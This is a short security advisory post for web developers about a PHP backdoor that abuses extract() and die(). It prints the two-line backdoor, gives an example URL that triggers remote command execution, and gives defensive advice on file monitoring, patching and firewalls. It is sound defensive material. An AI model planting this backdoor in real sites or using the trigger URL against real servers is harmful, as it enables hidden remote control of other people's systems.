PHP Extract Backdoor Resurgence

Backdoors are typically very hard to find, usually look like normal website code, are often protected (encrypted/encoded/password protected) and can be anywhere on a website – file system or database.

This particular backdoor is not new – in fact it has been around for a few years and is well documented, although seems to have had a resurgence with a couple of websites having been affected over the last few weeks – hence it is worth putting out the information again for web developers to be aware of.

The code to search for:

@extract($_REQUEST);
@die($ctime($atime));

What does this code do?

Well, for starters, it does not trigger alarm bells as it does not have any of the functions that normally allow for code execution, such as “exec”, “system”, “eval”, “assert” etc. This means that most automated signature-based malware detection systems will not find anything.

So how does an attacker leverage the “extract” function?

The “extract" function imports variables into the current symbol table from an array (from the php manual http://php.net/manual/en/function.extract.php).

Nothing seems too serious or dangerous with that?

When you analyse this code: @extract($_REQUEST); it is extracting any GET or POST requests.

The next bit of code: @die($ctime($atime)); is executing on @die whatever the attacker sends as “ctime” with “atime” as an argument.

So if an attacker wants to list all contents of a directory on a website, they enter in the following url into their browser:

Victimsite.com/phpinfo.php?ctime=system&atime=ls –la

Hey presto, the attacker has the full directory structure. What they then do is utilise additional commands such as, cat or echo to modify files. While not quite as feature rich as a webshell like filesman or P.A.S., this is a remote command execution script – very difficult to detect and highly effective.

How to defend against this type of attack?

• File change monitoring – developers need to understand what is changing on the website from day to day. Changes made by one of your team = GOOD. Other changes = BAD. Likely to be attacker activity. Check any code that has changed and that you are not aware of.

• Patching – ensure your software is kept up to date. Example, the Magento Shoplift has been out for over a year with patches available to plug the vulnerability. Websites who patched quickly were not hacked. Websites who have been slow to patch are perfect targets for attackers to focus on. In fact if you have not patched your website for the Magento Shoploft vulnerability, there is a good chance your site has been attacked and compromised by now.

• Web application firewall – for those who may be unable to quickly deploy software updates, a web application firewall provides an additional layer of protection to a website and may be the difference between getting attacked and getting compromised.

Get in touch if you need help with securing your website.